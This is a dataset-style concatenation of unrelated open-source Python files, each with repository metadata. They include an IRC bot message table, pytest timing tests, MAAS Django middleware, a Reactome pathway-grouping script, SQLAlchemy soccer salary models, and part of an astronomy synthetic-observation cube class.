# -*- coding: UTF-8 -*- """ $Id$ $URL$ Copyright (c) 2010 foption Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. @since Jan 6, 2011 @author Mario Steinhoff This file contains all messages with associated message numbers that are used through the whole project. When defining new messages, please use named parameters wherever possible. Currently, the following number ranges are defined: 00000-09999: Core 00001-00999: Bot 01000-01999: Config 10000-19999: Modules 20000-29999: Interaction 20001-20200: IRC """ __version__ = '$Rev$' __all__ = [ 'message' ] message = {} message[01000] = 'configuration saved' message[01001] = 'unable to save configuration' message[01002] = 'configuration loaded' message[01003] = 'unable to load configuration: config file was found' message[20001] = '' message[20002] = '' message[20003] = '' message[20005] = '' message[20006] = '' message[20007] = '' message[20008] = '' message[20009] = '' message[20010] = '' message[20011] = '' message[20012] = '' message[20013] = '' message[20014] = '' message[20015] = '' message[20016] = '' #reply.add('deine mutter hat gefailed.') #return "OHFUCKOHFUCKOHFUCK Etwas lief schief! Datenbankfehler" #return "Error 555!" #reply.add('Deine Mutter hat die Datenbank gefressen')
mit
6,695,913,913,734,353,000
27.769
77
0.75
false
logicabrity/aeon
test/test_measurement.py
1
1229
import time import pytest from aeon.measurement import Measurement from aeon.errors import InvalidMeasurementState def test_cant_start_measurement_twice(): m = Measurement("name", "group") m.start() with pytest.raises(InvalidMeasurementState): m.start() def test_cant_stop_measurement_before_starting_it(): m = Measurement("name", "group") with pytest.raises(InvalidMeasurementState): m.stop() def test_cant_stop_measurement_twice(): m = Measurement("name", "group") m.start() m.stop() with pytest.raises(InvalidMeasurementState): m.stop() def test_starting_measurement_increases_number_of_calls(): m = Measurement("name", "group") assert m.calls == 0 m.start() assert m.calls == 1 def test_measurement_measures_something(): m = Measurement("name", "group") m.start() time.sleep(1e-3) m.stop() elapsed = m.total_runtime assert elapsed > 0 m.start() time.sleep(1e-3) m.stop() elapsed_again = m.total_runtime assert elapsed_again > elapsed @pytest.mark.fixed def test_measurement_has_name_and_group(): m = Measurement("name", "group") assert m.name == "name" assert m.group == "group"
mit
-1,662,716,423,659,156,000
21.345
58
0.657
false
maas/maas
src/maasserver/middleware.py
1
18463
# Copyright 2012-2016 Canonical Ltd. This software is licensed under the # GNU Affero General Public License version 3 (see the file LICENSE). """Access middleware.""" import http.client import json import logging from pprint import pformat import sys import traceback import attr from crochet import TimeoutError from django.conf import settings from django.core.exceptions import PermissionDenied, ValidationError from django.core.handlers.exception import get_exception_response from django.http import ( Http404, HttpResponse, HttpResponseBadRequest, HttpResponseForbidden, HttpResponseRedirect, ) from django.urls import get_resolver, get_urlconf, reverse from django.utils.encoding import force_str from django.utils.http import urlquote_plus from maasserver import logger from maasserver.clusterrpc.utils import get_error_message_for_exception from maasserver.components import ( discard_persistent_error, register_persistent_error, ) from maasserver.enum import COMPONENT from maasserver.exceptions import MAASAPIException from maasserver.models.config import Config from maasserver.models.node import RackController from maasserver.rbac import rbac from maasserver.rpc import getAllClients from maasserver.utils.orm import is_retryable_failure from provisioningserver.rpc.exceptions import ( NoConnectionsAvailable, PowerActionAlreadyInProgress, ) from provisioningserver.utils.shell import ExternalProcessError # 'Retry-After' header sent for httplib.SERVICE_UNAVAILABLE # responses. RETRY_AFTER_SERVICE_UNAVAILABLE = 10 PUBLIC_URL_PREFIXES = [ # Login page: must be visible to anonymous users. reverse("login"), # Authentication: must be visible to anonymous users. reverse("authenticate"), reverse("discharge-request"), # CSRF: only usable by logged in users, but returns FORBIDDEN instead of # a redirect to the login page on request of an unauthenticated user. reverse("csrf"), # The combo loaders are publicly accessible. reverse("robots"), # Metadata service is for use by nodes; no login. reverse("metadata"), # RPC information is for use by rack controllers; no login. reverse("rpc-info"), # Prometheus metrics with usage stats reverse("metrics"), # API meta-information is publicly visible. reverse("api_version"), reverse("api_v1_error"), # API calls are protected by piston. settings.API_URL_PREFIX, # Boot resources simple streams endpoint; no login. settings.SIMPLESTREAMS_URL_PREFIX, ] def is_public_path(path): """Whether a request.path is publicly accessible.""" return any(path.startswith(prefix) for prefix in PUBLIC_URL_PREFIXES) class AccessMiddleware: """Protect access to views. Most UI views are visible only to logged-in users, but there are pages that are accessible to anonymous users (e.g. the login page!) or that use other authentication (e.g. the MAAS API, which is managed through piston). """ def __init__(self, get_response): self.get_response = get_response def __call__(self, request): if is_public_path(request.path): return self.get_response(request) if request.user.is_anonymous: return HttpResponseRedirect( "/MAAS/?next=%s" % urlquote_plus(request.path) ) return self.get_response(request) class ExternalComponentsMiddleware: """Middleware to check external components at regular intervals.""" def __init__(self, get_response): self.get_response = get_response def _check_rack_controller_connectivity(self): """Check each rack controller to see if it's connected. If any rack controllers are disconnected, add a persistent error. """ controllers = RackController.objects.all() connected_ids = {client.ident for client in getAllClients()} disconnected_controllers = { controller for controller in controllers if controller.system_id not in connected_ids } if len(disconnected_controllers) == 0: discard_persistent_error(COMPONENT.RACK_CONTROLLERS) else: if len(disconnected_controllers) == 1: message = ( "One rack controller is not yet connected to the region" ) else: message = ( "%d rack controllers are not yet connected to the region" % len(disconnected_controllers) ) message = ( '%s. Visit the <a href="/MAAS/l/controllers">' "rack controllers page</a> for " "more information." % message ) register_persistent_error(COMPONENT.RACK_CONTROLLERS, message) def __call__(self, request): # This middleware hijacks the request to perform checks. Any # error raised during these checks should be caught to avoid # disturbing the handling of the request. Proper error reporting # should be handled in the check method itself. self._check_rack_controller_connectivity() return self.get_response(request) class ExceptionMiddleware: """Convert exceptions into appropriate HttpResponse responses. For example, a MAASAPINotFound exception processed by a middleware based on this class will result in an http 404 response to the client. Validation errors become "bad request" responses. .. middleware: https://docs.djangoproject.com /en/dev/topics/http/middleware/ """ def __init__(self, get_response): self.get_response = get_response def __call__(self, request): try: return self.get_response(request) except Exception as exception: response = self.process_exception(request, exception) if response: return response else: raise def process_exception(self, request, exception): encoding = "utf-8" if isinstance(exception, MAASAPIException): # Print a traceback if this is a 500 error. if ( settings.DEBUG or exception.api_error == http.client.INTERNAL_SERVER_ERROR ): self.log_exception(exception) # This type of exception knows how to translate itself into # an http response. return exception.make_http_response() elif isinstance(exception, ValidationError): if settings.DEBUG: self.log_exception(exception) if hasattr(exception, "message_dict"): # Complex validation error with multiple fields: # return a json version of the message_dict. return HttpResponseBadRequest( json.dumps(exception.message_dict), content_type="application/json", ) else: # Simple validation error: return the error message. return HttpResponseBadRequest( str("".join(exception.messages)).encode(encoding), content_type="text/plain; charset=%s" % encoding, ) elif isinstance(exception, PermissionDenied): if settings.DEBUG: self.log_exception(exception) return HttpResponseForbidden( content=str(exception).encode(encoding), content_type="text/plain; charset=%s" % encoding, ) elif isinstance(exception, ExternalProcessError): # Catch problems interacting with processes that the # appserver spawns, e.g. rndc. # # While this is a serious error, it should be a temporary # one as the admin should be checking and fixing, or it # could be spurious. There's no way of knowing, so the best # course of action is to ask the caller to repeat. if settings.DEBUG: self.log_exception(exception) response = HttpResponse( content=str(exception).encode(encoding), status=int(http.client.SERVICE_UNAVAILABLE), content_type="text/plain; charset=%s" % encoding, ) response["Retry-After"] = RETRY_AFTER_SERVICE_UNAVAILABLE return response elif isinstance(exception, Http404): if settings.DEBUG: self.log_exception(exception) return get_exception_response( request, get_resolver(get_urlconf()), 404, exception ) elif is_retryable_failure(exception): # We never handle retryable failures. return None elif isinstance(exception, SystemExit): return None else: # Print a traceback. self.log_exception(exception) # Return an API-readable "Internal Server Error" response. return HttpResponse( content=str(exception).encode(encoding), status=int(http.client.INTERNAL_SERVER_ERROR), content_type="text/plain; charset=%s" % encoding, ) def log_exception(self, exception): exc_info = sys.exc_info() logger.error(" Exception: %s ".center(79, "#") % str(exception)) logger.error("".join(traceback.format_exception(*exc_info))) class DebuggingLoggerMiddleware: log_level = logging.DEBUG def __init__(self, get_response): self.get_response = get_response # Taken straight out of Django 1.8 django.http.request module to improve # our debug output on requests (dropped in Django 1.9). @classmethod def _build_request_repr( self, request, path_override=None, GET_override=None, POST_override=None, COOKIES_override=None, META_override=None, ): """ Builds and returns the request's representation string. The request's attributes may be overridden by pre-processed values. """ # Since this is called as part of error handling, we need to be very # robust against potentially malformed input. try: get = ( pformat(GET_override) if GET_override is not None else pformat(request.GET) ) except Exception: get = "<could not parse>" try: post = ( pformat(POST_override) if POST_override is not None else pformat(request.POST) ) except Exception: post = "<could not parse>" try: cookies = ( pformat(COOKIES_override) if COOKIES_override is not None else pformat(request.COOKIES) ) except Exception: cookies = "<could not parse>" try: meta = ( pformat(META_override) if META_override is not None else pformat(request.META) ) except Exception: meta = "<could not parse>" path = path_override if path_override is not None else request.path name = request.__class__.__name__ return force_str( f"<{name}\npath:{path},\nGET:{get},\nPOST:{post},\nCOOKIES:{cookies},\nMETA:{meta}>" ) def __call__(self, request): if settings.DEBUG_HTTP and logger.isEnabledFor(self.log_level): header = " Request dump ".center(79, "#") logger.log( self.log_level, "%s\n%s", header, self._build_request_repr(request), ) response = self.get_response(request) if settings.DEBUG_HTTP and logger.isEnabledFor(self.log_level): header = " Response dump ".center(79, "#") content = getattr(response, "content", "{no content}") try: decoded_content = content.decode("utf-8") except UnicodeDecodeError: logger.log( self.log_level, "%s\n%s", header, "** non-utf-8 (binary?) content **", ) else: logger.log(self.log_level, "%s\n%s", header, decoded_content) return response class RPCErrorsMiddleware: """A middleware for handling RPC errors.""" handled_exceptions = ( NoConnectionsAvailable, PowerActionAlreadyInProgress, TimeoutError, ) def __init__(self, get_response): self.get_response = get_response def __call__(self, request): try: return self.get_response(request) except Exception as exception: response = self.process_exception(request, exception) if response: return response else: raise def process_exception(self, request, exception): if request.path.startswith(settings.API_URL_PREFIX): # Not a path we're handling exceptions for. # APIRPCErrorsMiddleware handles all the API request RPC # errors. return None if not isinstance(exception, self.handled_exceptions): # Nothing to do, since we don't care about anything other # than handled_exceptions. return None logging.exception(exception) return HttpResponseRedirect(request.path) class APIRPCErrorsMiddleware(RPCErrorsMiddleware): """A middleware for handling RPC errors in API requests.""" handled_exceptions = { NoConnectionsAvailable: int(http.client.SERVICE_UNAVAILABLE), PowerActionAlreadyInProgress: int(http.client.SERVICE_UNAVAILABLE), TimeoutError: int(http.client.GATEWAY_TIMEOUT), } def process_exception(self, request, exception): if not request.path.startswith(settings.API_URL_PREFIX): # Not a path we're handling exceptions for. # RPCErrorsMiddleware handles non-API requests. return None if exception.__class__ not in self.handled_exceptions: # This isn't something we handle; allow processing to # continue. return None status = self.handled_exceptions[exception.__class__] logging.exception(exception) error_message = get_error_message_for_exception(exception) encoding = "utf-8" response = HttpResponse( content=error_message.encode(encoding), status=status, content_type="text/plain; charset=%s" % encoding, ) if status == http.client.SERVICE_UNAVAILABLE: response["Retry-After"] = RETRY_AFTER_SERVICE_UNAVAILABLE return response class CSRFHelperMiddleware: """A Middleware to decide whether a request needs to be protected against CSRF attacks. Requests with a session cookie (i.e. requests for which the basic session-based Django authentification is used) will be CSRF protected. Requests without this cookie are pure 0-legged API requests and thus don't need to use the CSRF protection machinery because each request is signed. """ def __init__(self, get_response): self.get_response = get_response def __call__(self, request): session_cookie = request.COOKIES.get( settings.SESSION_COOKIE_NAME, None ) if session_cookie is None: # csrf_processing_done is a field used by Django. We use it here # to bypass the CSRF protection when it's not needed (i.e. when the # request is OAuth-authenticated). request.csrf_processing_done = True return self.get_response(request) @attr.s class ExternalAuthInfo: """Hold information about external authentication.""" type = attr.ib() url = attr.ib() domain = attr.ib(default="") admin_group = attr.ib(default="") class ExternalAuthInfoMiddleware: """A Middleware adding information about the external authentication. This adds an `external_auth_info` attribute to the request, which is an ExternalAuthInfo instance if external authentication is enabled, None otherwise. """ def __init__(self, get_response): self.get_response = get_response def __call__(self, request): configs = Config.objects.get_configs( [ "external_auth_url", "external_auth_domain", "external_auth_admin_group", "rbac_url", ] ) rbac_endpoint = configs.get("rbac_url") candid_endpoint = configs.get("external_auth_url") auth_endpoint, auth_domain, auth_admin_group = "", "", "" if rbac_endpoint: auth_type = "rbac" auth_endpoint = rbac_endpoint.rstrip("/") + "/auth" elif candid_endpoint: auth_type = "candid" auth_endpoint = candid_endpoint auth_domain = configs.get("external_auth_domain") auth_admin_group = configs.get("external_auth_admin_group") auth_info = None if auth_endpoint: # strip trailing slashes as js-bakery ends up using double slashes # in the URL otherwise auth_info = ExternalAuthInfo( type=auth_type, url=auth_endpoint.rstrip("/"), domain=auth_domain, admin_group=auth_admin_group, ) request.external_auth_info = auth_info return self.get_response(request) class RBACMiddleware: """Middleware that cleans the RBAC thread-local cache. At the end of each request the RBAC client that is held in the thread-local needs to be cleaned up. That way the next request on the same thread will use a new RBAC client. """ def __init__(self, get_response): self.get_response = get_response def __call__(self, request): result = self.get_response(request) # Now that the response has been handled, clear the thread-local # state of the RBAC connection. rbac.clear() return result
agpl-3.0
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ivanamihalek/tcga
icgc/60_nextgen_production/65_reactome_tree.py
1
5057
#! /usr/bin/python3 # # This source code is part of icgc, an ICGC processing pipeline. # # Icgc is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Icgc is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see<http://www.gnu.org/licenses/>. # # Contact: ivana.mihalek@gmail.com # # some pathways do not have the associated genes listed, probably by mistake # examples: # R-HSA-1483171 | Synthesis of BMP # R-HSA-2408499 | Formation of selenosugars for excretion from icgc_utils.common_queries import quotify from icgc_utils.reactome import * from config import Config ############ def print_genes(cursor, gene_ids, depth): if len(gene_ids)<1: print("\t"*depth, "no genes listed") return #print("\t"*depth, "print genes here") gene_id_string = ",".join([quotify(z) for z in gene_ids]) qry = "select ensembl_gene_id, approved_name from hgnc where ensembl_gene_id in (%s)" % gene_id_string gene_names = dict(hard_landing_search(cursor, qry)) qry = "select ensembl_gene_id, approved_symbol from hgnc where ensembl_gene_id in (%s)" % gene_id_string gene_symbols = dict(hard_landing_search(cursor, qry)) for gene in gene_ids: print("\t"*depth, gene_symbols.get(gene,""), gene_names.get(gene,"")) return ############## def characterize_subtree(cursor, graph, pthwy_id, gene_groups, depth, verbose=True): # this is the whole subtree # children = [node for node in nx.dfs_preorder_nodes(graph, pthwy_id)] # A successor of n is a node m such that there exists a directed edge from n to m. children = [node for node in graph.successors(pthwy_id)] if len(children)==0: return False node_id_string = ",".join([quotify(z) for z in children]) qry_template = "select * from reactome_pathways where reactome_pathway_id in (%s)" children_names = hard_landing_search(cursor, qry_template % node_id_string) for child_id, child_name in children_names: # number_of_genes = genes related to nodes without descendants genes = genes_in_subgraph(cursor, graph, child_id) if verbose: print("\t"*depth, child_id, child_name, len(genes)) if len(genes)<100: if verbose: print_genes(cursor, genes, depth+1) gene_groups[child_name] = genes continue if not characterize_subtree(cursor, graph, child_id, gene_groups, depth+1, verbose=verbose): # no further subdivisions if verbose: print_genes(cursor, genes, depth+1) gene_groups[child_name] = genes continue return True ######################################### import numpy as np from matplotlib import pyplot as plt def hist_plot(gene_groups): data = [len(gene_list) for gene_list in list(gene_groups.values())] # fixed bin size bins = np.arange(0, 505, 5) # fixed bin size plt.xlim(0,500) plt.hist(data, bins=bins, alpha=0.5) # plt.title('') plt.xlabel('number of genes in group (bin size = 5)') plt.ylabel('number of groups') # plt.show() #################################################### def main(): verbose = False db = connect_to_mysql(Config.mysql_conf_file) cursor = db.cursor() switch_to_db(cursor, 'icgc') # are there children with multiple parents? Yes. So I need some kind of # directed graph, rather tha a tree. qry = "select child, count(distinct parent) as ct from reactome_hierarchy " qry += "group by child having ct>1" ret = search_db(cursor, qry) print("number of children with multiple parents:", len(ret)) # feed the parent/child pairs as edges into graph graph = build_reactome_graph(cursor, verbose=True) # candidate roots zero_in_degee_nodes = get_roots(graph) node_id_string = ",".join([quotify(z) for z in zero_in_degee_nodes]) qry_template = "select * from reactome_pathways where reactome_pathway_id in (%s)" root_names = hard_landing_search(cursor, qry_template% node_id_string) gene_groups = {} for pthwy_id, name in root_names: if "disease" in name.lower(): continue if verbose: print(pthwy_id, name) characterize_subtree(cursor, graph, pthwy_id, gene_groups, 1, verbose=verbose) print("\n===========================") max_group=0 for group, genes in gene_groups.items(): groupsize = len(genes) if max_group< groupsize: max_group=groupsize print (group, len(genes)) print("\n===========================") print("number of groups", len(gene_groups)) print("largest group", max_group) print("\n===========================") for pthwy_name, genes in gene_groups.items(): if len(genes)<=150: continue print("\n",pthwy_name, len(genes)) #print_genes(cursor, genes, 1) #hist_plot(gene_groups) cursor.close() db.close() ######################################### if __name__ == '__main__': main()
gpl-3.0
-438,034,926,294,668,700
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soccermetrics/marcotti-mls
marcottimls/models/financial.py
1
5658
from sqlalchemy import Column, Integer, String, Sequence, ForeignKey, ForeignKeyConstraint, Boolean from sqlalchemy.orm import relationship, backref from sqlalchemy.schema import CheckConstraint import enums from common import BaseSchema class AcquisitionPaths(BaseSchema): """ MLS player acquisition data model. Captures **initial** entry path into league. """ __tablename__ = 'acquisitions' player_id = Column(Integer, ForeignKey('players.id'), primary_key=True) year_id = Column(Integer, ForeignKey('years.id'), primary_key=True) path = Column(enums.AcquisitionType.db_type()) discriminator = Column('type', String(20)) club_id = Column(Integer, ForeignKey('clubs.id')) club = relationship('Clubs', backref=backref('acquisitions')) player = relationship('Players', backref=backref('entry')) year = relationship('Years', backref=backref('acquisitions')) __mapper_args__ = { 'polymorphic_identity': 'acquisitions', 'polymorphic_on': discriminator } class PlayerDrafts(AcquisitionPaths): """ Player draft data model. """ __mapper_args__ = {'polymorphic_identity': 'draft'} round = Column(Integer, CheckConstraint('round > 0')) selection = Column(Integer, CheckConstraint('selection > 0')) gen_adidas = Column(Boolean, default=False) def __repr__(self): return u"<PlayerDraft(name={0}, year={1}, round={2}, selection={3}, generation_adidas={4})>".format( self.player.full_name, self.year.yr, self.round, self.selection, self.gen_adidas).encode('utf-8') def __unicode__(self): return u"<PlayerDraft(name={0}, year={1}, round={2}, selection={3}, generation_adidas={4})>".format( self.player.full_name, self.year.yr, self.round, self.selection, self.gen_adidas) class PlayerSalaries(BaseSchema): """ Player salary data model. """ __tablename__ = 'salaries' __table_args__ = ( ForeignKeyConstraint( ['competition_id', 'season_id'], ['competition_seasons.competition_id', 'competition_seasons.season_id'], ), ) id = Column(Integer, Sequence('salary_id_seq', start=10000), primary_key=True) base_salary = Column(Integer, CheckConstraint('base_salary >= 0'), doc="Base salary in cents") avg_guaranteed = Column(Integer, CheckConstraint('avg_guaranteed >= 0'), doc="Average annualized guaranteed compensation in cents") player_id = Column(Integer, ForeignKey('players.id')) club_id = Column(Integer, ForeignKey('clubs.id')) competition_id = Column(Integer) season_id = Column(Integer) player = relationship('Players', backref=backref('salaries')) club = relationship('Clubs', backref=backref('payroll')) comp_season = relationship('CompetitionSeasons', backref=backref('payroll')) def __repr__(self): return u"<PlayerSalary(name={0}, club={1}, competition={2}, season={3}, base={4:.2f}, " \ u"guaranteed={5:.2f})>".format(self.player.full_name, self.club.name, self.comp_season.competition.name, self.comp_season.season.name, self.base_salary/100.00, self.avg_guaranteed/100.00).encode('utf-8') def __unicode__(self): return u"<PlayerSalary(name={0}, club={1}, competition={2}, season={3}, base={4:.2f}, " \ u"guaranteed={5:.2f})>".format(self.player.full_name, self.club.name, self.comp_season.competition.name, self.comp_season.season.name, self.base_salary / 100.00, self.avg_guaranteed / 100.00) class PartialTenures(BaseSchema): """ Data model that captures player's partial-season tenure at a club. """ __tablename__ = 'partials' __table_args__ = ( ForeignKeyConstraint( ['competition_id', 'season_id'], ['competition_seasons.competition_id', 'competition_seasons.season_id'], ), ) id = Column(Integer, Sequence('partial_id_seq', start=10000), primary_key=True) start_week = Column(Integer, CheckConstraint('start_week > 0')) end_week = Column(Integer, CheckConstraint('end_week > 0')) player_id = Column(Integer, ForeignKey('players.id')) club_id = Column(Integer, ForeignKey('clubs.id')) competition_id = Column(Integer) season_id = Column(Integer) player = relationship('Players', backref=backref('partials')) club = relationship('Clubs', backref=backref('partials')) comp_season = relationship('CompetitionSeasons', backref=backref('partials')) def __repr__(self): return u"<PartialTenure(name={0}, club={1}, competition={2}, season={3}, " \ u"start_week={4}, end_week={5})>".format(self.player.full_name, self.club.name, self.comp_season.competition.name, self.comp_season.season.name, self.start_week, self.end_week).encode('utf-8') def __unicode__(self): return u"<PartialTenure(name={0}, club={1}, competition={2}, season={3}, " \ u"start_week={4}, end_week={5})>".format(self.player.full_name, self.club.name, self.comp_season.competition.name, self.comp_season.season.name, self.start_week, self.end_week)
mit
-645,660,621,350,676,700
42.191
114
0.596
false
koepferl/FluxCompensator
fluxcompensator/cube.py
1
25142
from copy import deepcopy import os ROOT = os.path.dirname(os.path.abspath(__file__)) + '/' from astropy import log as logger from astropy.io import fits import numpy as np from numpy.random import normal from .psf import GaussianPSF, FilePSF, FunctionPSF from .filter import Filter from .utils.plot import MakePlots from .utils.resolution import ConservingZoom, central from .utils.tools import properties, grid_units, get_slices, average_collapse, central_wav from .utils.units import ConvertUnits # submitting PhD thesis today :) class SyntheticCube(object): ''' SyntheticCube is part the FluxCompensator. It converts input_arrays (e. g. HYPERION ModelOutput) to "realistic" synthetic observations (e.g. accounts for PSF, filters & noise). It contains attributes like ModelOutput (see Notes). If input_array is already a SyntheticCube object, the attributes are passed. If input_array is not a SyntheticCube object, SyntheticCube specific attributes are defined and then passed. Parameters ---------- input_array : SyntheticCube, ModelOutput, optional input_array also reads arrays with ModelOutput like properties. unit_out : str, optional The output units for SyntheticCube val. Valid options are: * ``'ergs/cm^2/s'`` * ``'ergs/cm^2/s/Hz'`` * ``'Jy'`` * ``'mJy'`` * ``'MJy/sr'`` The default is ``'ergs/cm^2/s'``. name : str The name of the FluxCompensator object until another input_array is called. The default is ``None``. Attributes ---------- wav : numpy.ndarray The wavelengths of val cube slices in microns. val : numpy.ndarray The 3D cube with shape (x, y, wav). units : str Current units of the val cube. distance : str Distance to the observed object in cm. x_min : float Physical offset from axis origin in FOV in cm. x_max : float Physical offset from axis origin in FOV in cm. y_min : float Physical offset from axis origin in FOV in cm. y_max : float Physical offset from axis origin in FOV in cm. lon_min : float Minimal longitudinal angle. lon_max : float Maximal longitudinal angle. lat_min : float Minimal latitudinal angle. lat_max : float Maximal latitudinal angle. pix_area_sr : float Pixel area per sr. Notes ----- unit_in : str Unit of val in input_array. Valid options are: * ``'ergs/cm^2/s'`` * ``'ergs/cm^2/s/Hz'`` * ``'Jy'`` * ``'mJy'`` * ``'MJy/sr'`` grid_unit : float Physical unit of FOV axis in cm. Valid options are: * ``au`` in cm * ``pc`` in cm * ``kpc`` in cm grid_unit_name Astronomical unit of FOV axis. Valid options are: * ``'au'`` * ``'pc'`` * ``'kpc'`` FOV : tuple Tuple ``FOV(x,y)`` of Field of View pixel entries. * pixel in x direction: ``FOV[0]`` * pixel in y direction: ``FOV[1]`` name : str The name of the FluxCompensator object until another input_array is called. The default is ``None``. stage : str Gives current operation stage of SyntheticCube. E. g. ``'SyntheticCube: convolve_filter'`` log : list List of strings of the previous and current stages. filter : dict Dictionary ``filter = {name, waf_0, waf_min, waf_max}`` of the applied filter. * name of filter: ``filter['name']`` * central wavelength: ``filter['waf_0']`` * minimal wavelength: ``filter['waf_min']`` * maximal wavelength: ``filter['waf_max']`` Returns ------- cube : SyntheticCube 3D val array with SyntheticCube properties. image : SyntheticImage 2D val array with SyntheticImage properties. sed : SyntheticSED 1D val array (collapsed rough SED) with SyntheticSED properties. flux : SyntheticFlux 0D val array (scalar) with SyntheticFlux properties. ''' def __init__(self, input_array, unit_out='ergs/cm^2/s', name=None): # Hyperion ModelOutput attributes #if input_array.val.ndim == 3: self.val = np.array(deepcopy(input_array.val)) #else: # raise Exception('input_array does not have the right dimensions. numpy array of (x, y, wav) is required.') self.wav = np.array(deepcopy(input_array.wav)) self.units = input_array.units self.distance = input_array.distance self.x_max = input_array.x_max self.x_min = input_array.x_min self.y_max = input_array.y_max self.y_min = input_array.y_min self.lon_min = input_array.lon_min self.lon_max = input_array.lon_max self.lat_min = input_array.lat_min self.lat_max = input_array.lat_max self.pix_area_sr = input_array.pix_area_sr ################## # new attributes # ################## if isinstance(input_array, SyntheticCube): # attributes with are passed, since input_array is SyntheticCube # physical values self.unit_in = input_array.unit_in self.unit_out = input_array.unit_out self.grid_unit = input_array.grid_unit self.grid_unit_name = input_array.grid_unit_name # properties of cube self.FOV = deepcopy(input_array.FOV) # name self.name = input_array.name self.stage = input_array.stage self.log = deepcopy(input_array.log) # filter self.filter = deepcopy(input_array.filter) else: # attributes are defined, since input_array is NOT SyntheticCube # physical values self.unit_in = input_array.units self.unit_out = unit_out self.grid_unit = grid_units(self.x_max - self.x_min)['grid_unit'] self.grid_unit_name = grid_units(self.x_max - self.x_min)['grid_unit_name'] self.FOV = (self.x_max - self.x_min, self.y_max - self.y_min) # name self.name = name self.stage = 'SyntheticCube: initial' self.log = [self.stage] # filter self.filter = {'name': None, 'waf_0': None, 'waf_min': None, 'waf_max': None} # convert into val units into unit_out s = ConvertUnits(wav=self.wav, val=self.val) self.val = s.get_unit(in_units=self.unit_in, out_units=self.unit_out, input_resolution=self.resolution['arcsec']) self.units = self.unit_out def extinction(self, A_v, input_opacities=None): ''' Accounts for reddening. Parameters ---------- A_v : Value of the visible extinction. input_opacities : ``None``, str If ``None`` standard extinction law is used. Otherwise a e. g. input_opacities.txt file can be passed as a str to read an opacity file with column #1 wav in microns and column #2 in cm^2/g. Default is ``None``. Returns ------- cube : SyntheticCube ''' stage = 'SyntheticCube: extinction' # read own extinction law if input_opacities is None: t = np.loadtxt(ROOT + 'database/extinction/extinction_law.txt') else: t = np.loadtxt(input_opacities) wav_ext = t[:, 0] k_lam = t[:, 1] # wav_ext monotonically increasing if wav_ext[0] > wav_ext[1]: wav_ext = wav_ext[::-1] k_lam = k_lam[::-1] k_v = np.interp(0.550, wav_ext, k_lam) # interpolate to get A_int for a certain wavelength k = np.interp(self.wav, wav_ext, k_lam) A_int_lam = A_v * (k / k_v) # apply extinction law val_ext = np.zeros(shape=np.shape(self.val)) val_ext[:,:,:len(self.wav)] = self.val[:,:,:len(self.wav)] * 10**(-0.4 * A_int_lam[:len(self.wav)]) # return SimulateCube c = SyntheticCube(self) c.val = val_ext c.stage = stage c.log.append(c.stage) return c def change_resolution(self, new_resolution, grid_plot=None): ''' Changes the resolution of every slice of the val cube. Parameters ---------- new_resolution : Resolution which the val array should get in ``arcsec/pixel.`` grid_plot : ``None``, ``True`` If ``True`` old and new resolution is visualized in a plot. Default is ``None``. Returns ------- cube : SyntheticCube ''' stage = 'SyntheticCube: change_resolution' # debugging comment logger.debug('-' * 70) logger.debug(stage) logger.debug('-' * 70) logger.debug('total value before zoom : ' + str('%1.4e' % np.sum(self.val)) + ' ' + str(self.units)) # match resolution of psf and val slice f = ConservingZoom(array=self.val, initial_resolution=self.resolution['arcsec'], new_resolution=new_resolution) zoomed_val = f.zoom() # average after changing resolution for MJy/sr if self.units == 'MJy/sr' or self.units == 'Jy/arcsec^2': # size of new pixel in units of old pixel size = new_resolution ** 2 / self.resolution['arcsec'] ** 2 zoomed_val = zoomed_val / size if grid_plot is not None: f.zoom_grid(self.name) # debugging comment logger.debug('total value after zoom : ' + str('%1.4e' % np.sum(zoomed_val)) + ' ' + str(self.units)) # return SimulateCube c = SyntheticCube(self) c.val = zoomed_val c.stage = stage c.log.append(c.stage) c.FOV = (f.len_nx / f.len_nrx * self.FOV[0], f.len_ny / f.len_nry * self.FOV[1]) return c def central_pixel(self, dx, dy): ''' Move array right and up to create a central pixel. Returns ------- cube : SyntheticCube ''' stage = 'SyntheticCube: central_pixel' ce = central(array=self.val, dx=dx, dy=dy) len_x_old = float(self.pixel[0]) len_x_new = float(len(ce[:,0])) len_y_old = float(self.pixel[1]) len_y_new = float(len(ce[0,:])) old_FOV = self.FOV new_FOV = (len_x_new / len_x_old * old_FOV[0], len_y_new / len_y_old * old_FOV[1]) # return SimulateCube c = SyntheticCube(self) c.val = ce c.stage = stage c.log.append(c.stage) c.FOV = new_FOV return c def convolve_psf(self, psf): ''' Convolves every slice of the val cube with a PSF of choice. Parameters ---------- psf : GaussianPSF, FilePSF, database, FunctionPSF * GaussianPSF(self, diameter): Convolves val with Gaussian PSF. * FilePSF(self, psf_file, condensed): Reads PSF from input file. * database: PSF object defined in FluxCompensator database. * FunctionPSF(self, psf_function, width): Convolves val with calculated PSF. Returns ------- cube : SyntheticCube ''' stage = 'SyntheticCube: convolve_PSF' # debugging comments if isinstance(psf, GaussianPSF): logger.debug('-' * 70) logger.debug(stage + 'with GaussianPSF') logger.debug('-' * 70) # convolve value with classes GaussianPSF, FilePSF and FunctionPSF val = self.val.copy() for i in range(len(self.wav)): val[:, :, i] = psf.convolve(wav = self.wav[i], array = self.val[:,:, i], resolution = self.resolution) # return SimulateCube c = SyntheticCube(self) c.val = val c.stage = stage 